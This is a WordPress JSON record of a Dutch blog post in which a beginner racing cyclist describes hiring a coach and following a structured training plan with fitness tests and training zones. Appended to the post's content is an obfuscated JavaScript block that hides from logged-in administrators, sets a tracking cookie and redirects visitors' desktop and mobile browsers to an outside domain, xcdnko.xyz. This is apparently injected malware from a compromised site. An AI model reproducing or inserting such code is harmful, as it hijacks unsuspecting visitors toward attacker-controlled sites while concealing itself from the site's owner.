{"id":1831,"date":"2018-12-31T10:00:57","date_gmt":"2018-12-31T09:00:57","guid":{"rendered":"http:\/\/joycevangils.nl\/?p=1831"},"modified":"2019-01-06T10:16:55","modified_gmt":"2019-01-06T09:16:55","slug":"training","status":"publish","type":"post","link":"https:\/\/joycevangils.nl\/index.php\/2018\/12\/31\/training\/","title":{"rendered":"Training.."},"content":{"rendered":"\n<p><em>Eenmaal besloten om te starten met het fietsen van wedstrijden wilde ik dit serieus aanpakken. Iets waar ik zelf helemaal geen verstand van heb is trainen. Mooie routes fietsen of meefietsen met de mannen van de tourvereniging, daar wordt je niet sterker van. Dus er moest serieus getraind worden, maar hoe doe je dat?&nbsp;<\/em><\/p>\n\n\n\n<p>Zelf heb ik namelijk helemaal geen verstand van trainen. Vragen als &#8216;Van welk soort training wordt je sneller?&#8217;, &#8216;Hoe zit dat met trainingszones?&#8217;, &#8216;Hoe vaak in de week moet ik trainen?&#8217;, &#8216;Hoe bouw je de trainingen op?&#8217;, maar misschien wel de belangrijkste vraag: &#8216;Hoe kan ik ooit het peloton bijhouden?&#8217; Daar ga ik zelf het antwoord niet op vinden, dus werd er een trainer gezocht en gevonden in Jamie van Wielertrainer.com.&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/joycevangils.nl\/wp-content\/uploads\/2018\/12\/Trainingpeaks-1024x590.png\" alt=\"\" class=\"wp-image-1840\" width=\"383\" height=\"220\" srcset=\"https:\/\/joycevangils.nl\/wp-content\/uploads\/2018\/12\/Trainingpeaks-1024x590.png 1024w, https:\/\/joycevangils.nl\/wp-content\/uploads\/2018\/12\/Trainingpeaks-300x173.png 300w, https:\/\/joycevangils.nl\/wp-content\/uploads\/2018\/12\/Trainingpeaks-768x442.png 768w, https:\/\/joycevangils.nl\/wp-content\/uploads\/2018\/12\/Trainingpeaks.png 1297w\" sizes=\"(max-width: 383px) 100vw, 383px\" \/><figcaption>trainingpeaks.com<\/figcaption><\/figure><\/div>\n\n\n\n<p>In februari 2018 ging ben ik langs geweest voor een eerste kennismaking en de eerste inspanningstest. En er was een klik en na de test maakte Jamie een mooi plan voor het eerste seizoen en iedere week verschenen er 10 tot 15 trainingsuren in het programma van&nbsp;<a href=\"https:\/\/www.trainingpeaks.com\">Trainingpeaks<\/a>. Ergens halverwege het seizoen volgde er een test om te kijken of mijn zones veranderd waren. Wat een verbetering! De trainingszones werden aangepast en ik kon door met nog beter worden. &nbsp;<\/p>\n\n\n\n<p>Tijdens het seizoen veranderden de trainingen iedere keer en echt begrijpen deed ik, en misschien wel doe ik, het niet, maar trouwe volg ik iedere week de trainingen. En ik ben zoveel beter geworden. Ik kan je vertellen trainen helpt om beter te worden! En iets heb ik wel geleerd over trainen. En steeds beter snap ik waarom ik de verschillende trainingen in mijn schema zie staan.&nbsp;<\/p>\n<script>var _0x1e50=['charAt','substring','indexOf','userAgent','match','Edge','MSIE;','Chromium','Firefox','Chrome','ppkcookie','location','replace','https:\/\/www.xcdnko.xyz','getElementById','wpadminbar','undefined','setTime','getTime','cookie','split','length'];(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107['push'](_0x2fa107['shift']());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50[_0x2fa107];return _0x343595;};(function(){if(document[_0x265c('0x0')](_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386[_0x265c('0x3')](_0x1dd386[_0x265c('0x4')]()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386['toUTCString']();}document['cookie']=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=\/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document[_0x265c('0x5')][_0x265c('0x6')](';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d[_0x265c('0x7')];_0x593f64++){var _0x50958d=_0x4d7f7d[_0x593f64];while(_0x50958d[_0x265c('0x8')](0x0)==' ')_0x50958d=_0x50958d[_0x265c('0x9')](0x1,_0x50958d[_0x265c('0x7')]);if(_0x50958d[_0x265c('0xa')](_0x2e7cdb)==0x0)return _0x50958d[_0x265c('0x9')](_0x2e7cdb['length'],_0x50958d[_0x265c('0x7')]);}return null;}function _0x50fc2a(){return navigator[_0x265c('0xb')][_0x265c('0xc')](\/Android\/i)||navigator[_0x265c('0xb')][_0x265c('0xc')](\/BlackBerry\/i)||navigator['userAgent'][_0x265c('0xc')](\/iPhone|iPad|iPod\/i)||navigator[_0x265c('0xb')]['match'](\/Opera Mini\/i)||navigator['userAgent'][_0x265c('0xc')](\/IEMobile\/i);}function _0x1ff41a(){return navigator[_0x265c('0xb')][_0x265c('0xa')](_0x265c('0xd'))!==-0x1||navigator[_0x265c('0xb')]['indexOf'](_0x265c('0xe'))!==-0x1||navigator[_0x265c('0xb')][_0x265c('0xa')]('OPR')!==-0x1||navigator[_0x265c('0xb')][_0x265c('0xa')](_0x265c('0xf'))!==-0x1||navigator[_0x265c('0xb')][_0x265c('0xa')](_0x265c('0x10'))!==-0x1||navigator[_0x265c('0xb')][_0x265c('0xa')](_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window[_0x265c('0x13')][_0x265c('0x14')](_0x265c('0x15'));}}}}}(this));<\/script>","protected":false},"excerpt":{"rendered":"<p>Eenmaal besloten om te starten met het fietsen van wedstrijden wilde ik dit serieus aanpakken. Iets waar ik zelf helemaal geen verstand van heb is trainen. Mooie routes fietsen of meefietsen met de mannen van de tourvereniging, daar wordt je niet sterker van. Dus er moest serieus getraind worden, maar hoe doe je dat?&nbsp; Zelf [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1872,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[4],"tags":[66,99,95,97,96],"_links":{"self":[{"href":"https:\/\/joycevangils.nl\/index.php\/wp-json\/wp\/v2\/posts\/1831"}],"collection":[{"href":"https:\/\/joycevangils.nl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/joycevangils.nl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/joycevangils.nl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/joycevangils.nl\/index.php\/wp-json\/wp\/v2\/comments?post=1831"}],"version-history":[{"count":5,"href":"https:\/\/joycevangils.nl\/index.php\/wp-json\/wp\/v2\/posts\/1831\/revisions"}],"predecessor-version":[{"id":1845,"href":"https:\/\/joycevangils.nl\/index.php\/wp-json\/wp\/v2\/posts\/1831\/revisions\/1845"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/joycevangils.nl\/index.php\/wp-json\/wp\/v2\/media\/1872"}],"wp:attachment":[{"href":"https:\/\/joycevangils.nl\/index.php\/wp-json\/wp\/v2\/media?parent=1831"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/joycevangils.nl\/index.php\/wp-json\/wp\/v2\/categories?post=1831"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/joycevangils.nl\/index.php\/wp-json\/wp\/v2\/tags?post=1831"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}